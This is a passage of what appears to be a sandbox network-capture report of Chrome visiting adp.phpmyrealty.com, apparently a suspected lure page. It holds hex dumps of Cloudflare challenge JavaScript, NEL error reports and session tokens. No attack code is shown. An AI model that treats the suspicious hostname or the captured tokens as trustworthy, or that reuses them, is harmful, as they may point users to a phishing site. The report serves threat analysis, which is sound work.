c0Uxrk_AJsPU67ju9yD3rglsECHcTjNTHpn1uF1k4QpUFK9TxUnbsq7WewH.z1W.XHH2z6EKpGE0yryFxliN4VIXWSy16QLm0GMVYF6aDFIfwt9jZ9gsKLEsL3NAtL0XxNcMELZAySCCbYI4MXOf_mRCl7njo3KRFRhX2g4Lna7iCu1ZGXjZmcIFzz7UTAEp_H6RlRYDbAgAYGNMiZbbXcUOk7sJP0S3GNiZ7874tPXeX6gqsNciCoKxLAV.F92
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 4b 4b 51 66 44 50 38 73 63 4d 74 72 74 55 35 4b 6b 54 79 6a 63 71 76 70 64 4d 76 38 62 4e 76 7a 68 33 72 77 6f 37 64 74 43 4d 33 50 37 37 7a 61 46 50 45 57 69 7a 43 58 57 59 4f 53 45 59 4d 33 47 54 72 68 62 6d 46 37 2e 61 51 39 43 32 49 37 38 36 45 4f 5a 51 7a 7a 6e 4a 36 6b 30 68 67 52 72 66 2e 64 61 41 48 41 56 36 6f 6e 5f 6b 71 52 50 49 73 57 46 6d 67 70 45 57 57 72 2e 43 39 35 52 68 63 46 68 37 5f 5a 54 6e 52 69 61 6f 5a 41 62 36 5a 4c 6c 66 35 52 75 77 57 63 49 7a 50 42 54 6a 30 79 36 38 48 4e 55 79 65 68 37 37 58 4d 62 50 66 56 44 51 4a 52 62 53 39 47 73 75 56 72 76 58 49 42 53 6b 73 49 4a 63 67 56 42 51 6a 6b 5a 38 75 42 53 49 43 62 79 42 4d 75 4b 34 61 41 67 6c 2e 44 76 64 54 38 35 48 57 6f 4f 68 36 6a 30 46 67 6c 56 4a 52 34 4f 6a 4f 70 63 34 32 Data Ascii: KKQfDP8scMtrtU5KkTyjcqvpdMv8bNvzh3rwo7dtCM3P77zaFPEWizCXWYOSEYM3GTrhbmF7.aQ9C2I786EOZQzznJ6k0hgRrf.daAHAV6on_kqRPIsWFmgpEWWr.C95RhcFh7_ZTnRiaoZAb6ZLlf5RuwWcIzPBTj0y68HNUyeh77XMbPfVDQJRbS9GsuVrvXIBSksIJcgVBQjkZ8uBSICbyBMuK4aAgl.DvdT85HWoOh6j0FglVJR4OjOpc42
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 52 72 64 75 58 4f 32 38 78 39 4b 58 41 79 74 39 74 66 38 6f 4c 68 71 67 52 37 61 7a 41 62 73 6b 74 73 31 4c 76 41 4c 52 31 63 43 47 4c 4a 46 41 5a 37 6b 61 55 6b 62 72 6e 33 6c 64 58 66 4e 6c 71 65 64 52 51 44 72 71 34 75 6b 4e 79 6c 44 6a 4f 63 6d 33 73 6b 63 78 58 38 32 50 4a 47 57 6e 4e 69 45 76 78 31 75 5a 71 73 79 51 67 4b 34 37 51 6b 6f 43 4e 58 61 56 6f 68 6c 65 65 35 6a 58 74 49 52 6e 6d 76 43 58 43 45 37 52 47 72 43 78 41 46 35 74 4e 72 66 32 33 66 6e 33 75 35 34 6d 56 5f 66 37 34 39 6d 45 65 4a 6c 4f 58 4f 75 69 75 54 59 47 4e 35 61 50 54 65 7a 70 6f 51 68 71 37 6d 45 54 76 44 69 34 4a 4a 4c 67 62 5a 48 31 76 38 76 5f 2e 76 41 51 2e 36 45 62 53 67 31 64 54 43 74 2e 4f 6f 31 72 47 46 5f 54 5a 69 2e 71 42 5a 7a 35 77 6e 41 77 7a 2e 6f 76 5f 58 41 Data Ascii: RrduXO28x9KXAyt9tf8oLhqgR7azAbskts1LvALR1cCGLJFAZ7kaUkbrn3ldXfNlqedRQDrq4ukNylDjOcm3skcxX82PJGWnNiEvx1uZqsyQgK47QkoCNXaVohlee5jXtIRnmvCXCE7RGrCxAF5tNrf23fn3u54mV_f749mEeJlOXOuiuTYGN5aPTezpoQhq7mETvDi4JJLgbZH1v8v_.vAQ.6EbSg1dTCt.Oo1rGF_TZi.qBZz5wnAwz.ov_XA
2025-04-28 07:04:04 UTC	478	IN	Data Raw: 6f 6e 2e 70 61 74 68 6e 61 6d 65 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 51 75 65 72 79 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 48 61 73 68 3b 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 22 5c 2f 73 6b 31 37 46 65 35 66 61 6e 64 79 39 73 46 65 35 79 66 72 69 32 50 46 65 35 64 78 30 71 64 61 69 32 50 69 32 50 73 33 52 68 69 32 50 2d 73 61 6e 6b 79 57 4f 33 64 79 39 46 65 35 75 3f 5f 5f 63 66 5f 63 68 6c 5f 72 74 5f 74 6b 3d 6d 48 50 61 70 49 6e 53 31 75 62 41 47 4a 6c 76 50 6c 69 50 63 57 46 54 46 75 71 64 72 67 52 51 44 67 4e 69 77 42 33 38 31 62 51 2d 31 37 34 35 38 32 33 38 34 34 2d 31 2e 30 2e 31 2e 31 2d 47 71 6e 78 57 53 Data Ascii: on.pathname + window._cf_chl_opt.cOgUQuery + window._cf_chl_opt.cOgUHash;history.replaceState(null, null, "\/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_rt_tk=mHPapInS1ubAGJlvPliPcWFTFuqdrgRQDgNiwB381bQ-1745823844-1.0.1.1-GqnxWS
2025-04-28 07:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49705	35.190.80.1	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:04 UTC	554	OUT	OPTIONS /report/v4?s=%2FUfh8jsITXmi%2FlDxtKlZMmT9A%2F5rw1K63QY%2FoAav7Gb1jy8KZHHUUJhOX1NipqEl2oSTzCp2soUr%2FzPRC9EpA58nWpX0LJIIE5IIFS49BkRVLVFyZoS6WQ4BQxM3gwG9wvWX%2Fvbc HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://adp.phpmyrealty.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:05 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 28 Apr 2025 07:04:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49706	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:05 UTC	1058	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=9374b4166e99d2c0 HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_rt_tk=mHPapInS1ubAGJlvPliPcWFTFuqdrgRQDgNiwB381bQ-1745823844-1.0.1.1-GqnxWSPCFVedr4TP_OdP1H5PhkuO7Q4KH4xQ.sWrfdY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:05 UTC	887	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 98408 Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 9374b41abbcf0111-PHX Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FKk%2FC8PH3HDKDr9w1ReFN2JAdbS8k3ljCYYHCrIgsKFRHyXhLf8z1gJI%2FZDcfSXSWwX8E66589J5k2nraYW5irRUlLbaYmH5bAbEOoC%2B53ddcXhWPv%2FN%2FayCBns9yi%2B9Irlyv%2B%2B1"}],"group":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=140039&min_rtt=139982&rtt_var=29619&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1630&delivery_rate=28803&cwnd=252&unsent_bytes=0&cid=8092d6257c890098&ts=341&x=0"
2025-04-28 07:04:05 UTC	482	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 74 72 75 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 57 57 4c 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 7d 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 73 22 3a 7b 22 66 61 76 69 63 6f 6e 5f 61 6c 74 22 Data Ascii: window._cf_chl_opt.uaSR=true;window._cf_chl_opt.vWWL8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},"translations":{"favicon_alt"
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 64 25 32 30 70 61 67 65 25 32 30 6f 72 25 32 30 74 72 79 25 32 30 67 6f 69 6e 67 25 32 30 74 6f 25 32 30 74 68 65 25 32 30 72 6f 6f 74 25 32 30 6f 66 25 32 30 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 2e 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 Data Ascii: d%20page%20or%20try%20going%20to%20the%20root%20of%20%25%7Bplaceholder.com%7D.","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20a
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 63 68 65 63 6b 5f 74 68 Data Ascii: t%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","check_th
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 72 25 32 30 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 25 32 30 74 6f 25 32 30 72 65 73 70 6f 6e 64 2e 2e 2e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 66 6f 6f 74 65 72 5f 74 65 78 74 22 3a 22 50 65 72 66 6f 72 6d 61 6e 63 65 25 32 30 25 32 36 61 6d 70 25 33 42 25 32 30 73 65 63 75 72 69 74 79 25 32 30 62 79 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 22 2c 22 73 74 75 63 6b 5f 68 65 6c 70 65 72 5f 65 78 70 6c 61 69 6e 65 72 22 3a 22 49 66 25 32 30 79 6f 75 25 32 30 Data Ascii: r%20%25%7Bplaceholder.com%7D%20to%20respond...","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","footer_text":"Performance%20%26amp%3B%20security%20by%20Cloudflare","stuck_helper_explainer":"If%20you%20
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 65 72 2e 63 6f 6d 25 37 44 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 25 32 30 74 6f 25 32 30 72 65 70 6c 79 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e Data Ascii: er.com%7D%20is%20taking%20longer%20than%20expected%20to%20reply.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists."},"polyfills":{"turnstile_overrun_description
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 71 76 51 77 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 69 41 75 4e 6d 27 3a 67 47 28 38 31 34 29 2c 27 55 43 47 55 77 27 3a 67 47 28 31 31 37 31 29 2c 27 54 47 4c 5a 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 61 7a 4f 73 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 75 46 6c 49 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4e 4e 66 74 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 58 73 48 56 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 Data Ascii: ':function(h,i){return h==i},'qvQwl':function(h,i){return i===h},'iAuNm':gG(814),'UCGUw':gG(1171),'TGLZw':function(h,i){return h<i},'azOsO':function(h,i){return h\|i},'uFlIQ':function(h,i){return h==i},'NNftD':function(h,i){return h\|i},'XsHVj':function(h,i
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 6f 72 28 50 3d 64 5b 67 49 28 38 32 38 29 5d 5b 67 49 28 34 36 30 29 5d 28 27 7c 27 29 2c 51 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 50 5b 51 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 46 3d 53 74 72 69 6e 67 28 4e 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 47 2d 2d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 44 5b 4f 5d 3d 48 2b 2b 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 69 66 28 4f 62 6a 65 63 74 5b 67 49 28 32 35 30 29 5d 5b 67 49 28 39 37 32 29 5d 5b 67 49 28 39 31 32 29 5d 28 45 2c 46 29 29 7b 69 66 28 64 5b 67 49 28 31 31 39 36 29 5d 28 32 35 36 2c 46 5b 67 49 28 31 31 39 30 29 5d 28 30 29 29 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 4c 3d 3d 64 5b 67 49 28 31 32 34 35 29 5d 28 6f 2c 31 Data Ascii: or(P=d[gI(828)][gI(460)]('\|'),Q=0;!![];){switch(P[Q++]){case'0':F=String(N);continue;case'1':G--;continue;case'2':D[O]=H++;continue;case'3':if(Object[gI(250)][gI(972)][gI(912)](E,F)){if(d[gI(1196)](256,F[gI(1190)](0))){for(C=0;C<I;K<<=1,L==d[gI(1245)](o,1
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 29 3b 66 6f 72 28 52 3d 46 5b 67 49 28 31 31 39 30 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b 3d 64 5b 67 49 28 39 39 32 29 5d 28 4b 3c 3c 31 2e 37 38 2c 31 2e 34 32 26 52 29 2c 64 5b 67 49 28 38 31 35 29 5d 28 4c 2c 64 5b 67 49 28 31 32 34 35 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 67 49 28 31 32 33 33 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 7d 65 6c 73 65 7b 66 6f 72 28 52 3d 31 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 64 5b 67 49 28 37 36 34 29 5d 28 4b 3c 3c 31 2c 52 29 2c 4c 3d 3d 64 5b 67 49 28 31 32 34 35 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 67 49 28 31 32 33 33 29 5d 28 64 5b 67 49 28 39 34 36 29 5d 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3d 30 2c 43 2b 2b 29 3b 66 6f 72 28 52 Data Ascii: );for(R=F[gI(1190)](0),C=0;8>C;K=d[gI(992)](K<<1.78,1.42&R),d[gI(815)](L,d[gI(1245)](o,1))?(L=0,J[gI(1233)](s(K)),K=0):L++,R>>=1,C++);}}else{for(R=1,C=0;C<I;K=d[gI(764)](K<<1,R),L==d[gI(1245)](o,1)?(L=0,J[gI(1233)](d[gI(946)](s,K)),K=0):L++,R=0,C++);for(R
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 4e 3d 48 26 47 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 46 3c 3c 3d 31 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 4e 28 31 32 34 33 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 67 4e 28 37 30 32 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4e 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4f 3d 64 5b 67 4e 28 31 30 35 37 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 4e 28 31 32 34 33 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 67 4e Data Ascii: ;continue;case'3':N=H&G;continue;case'4':F<<=1;continue}break}switch(J){case 0:for(J=0,K=Math[gN(1243)](2,8),F=1;F!=K;N=H&G,H>>=1,d[gN(702)](0,H)&&(H=j,G=o(I++)),J\|=(0<N?1:0)*F,F<<=1);O=d[gN(1057)](e,J);break;case 1:for(J=0,K=Math[gN(1243)](2,16),F=1;d[gN
2025-04-28 07:04:05 UTC	1369	IN	Data Raw: 3d 3d 64 5b 67 4e 28 31 30 32 35 29 5d 26 26 52 5b 67 4e 28 31 31 39 38 29 5d 2b 2b 2c 64 5b 67 4e 28 35 31 37 29 5d 28 4c 5b 67 4e 28 36 32 31 29 5d 2c 67 4e 28 37 35 34 29 29 26 26 52 5b 67 4e 28 31 32 36 30 29 5d 2b 2b 2c 4d 2b 2b 2c 52 5b 67 4e 28 36 30 37 29 5d 3d 4e 29 7d 7d 2c 67 3d 7b 7d 2c 67 5b 67 47 28 38 32 35 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 65 50 3d 5b 5d 2c 65 51 3d 30 3b 32 35 36 3e 65 51 3b 65 50 5b 65 51 5d 3d 53 74 72 69 6e 67 5b 67 46 28 36 36 30 29 5d 28 65 51 29 2c 65 51 2b 2b 29 3b 65 52 3d 28 30 2c 65 76 61 6c 29 28 67 46 28 35 36 33 29 29 2c 65 53 3d 61 74 6f 62 28 67 46 28 38 39 38 29 29 2c 66 69 3d 7b 7d 2c 66 69 5b 67 46 28 34 37 38 29 5d 3d 27 6f 27 2c 66 69 5b 67 46 28 35 32 35 29 5d 3d 27 73 27 2c 66 69 5b 67 46 28 39 39 Data Ascii: ==d[gN(1025)]&&R[gN(1198)]++,d[gN(517)](L[gN(621)],gN(754))&&R[gN(1260)]++,M++,R[gN(607)]=N)}},g={},g[gG(825)]=f.h,g}(),eP=[],eQ=0;256>eQ;eP[eQ]=String[gF(660)](eQ),eQ++);eR=(0,eval)(gF(563)),eS=atob(gF(898)),fi={},fi[gF(478)]='o',fi[gF(525)]='s',fi[gF(99

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49707	35.190.80.1	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:05 UTC	529	OUT	POST /report/v4?s=%2FUfh8jsITXmi%2FlDxtKlZMmT9A%2F5rw1K63QY%2FoAav7Gb1jy8KZHHUUJhOX1NipqEl2oSTzCp2soUr%2FzPRC9EpA58nWpX0LJIIE5IIFS49BkRVLVFyZoS6WQ4BQxM3gwG9wvWX%2Fvbc HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 450 Content-Type: application/reports+json Origin: https://adp.phpmyrealty.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:05 UTC	450	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 34 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 35 2e 32 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 64 70 2e 70 68 70 6d 79 72 65 61 6c 74 79 2e Data Ascii: [{"age":3,"body":{"elapsed_time":842,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.215.23","status_code":403,"type":"http.error"},"type":"network-error","url":"https://adp.phpmyrealty.
2025-04-28 07:04:05 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 28 Apr 2025 07:04:05 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49708	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:06 UTC	1357	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/638699444:1745821587:xbzCd5YBTmtoV3TbJLfvaYF7qf3ng48bg7dPg7KCPyw/9374b4166e99d2c0/_j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive Content-Length: 2223 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" cf-chl-ra: 0 sec-ch-ua-mobile: ?0 sec-ch-ua-model: "" sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 cf-chl: _j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 sec-ch-ua-platform-version: "10.0.0" Accept: / Origin: https://adp.phpmyrealty.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u Accept-Encoding: gzip, deflate, br, zstd 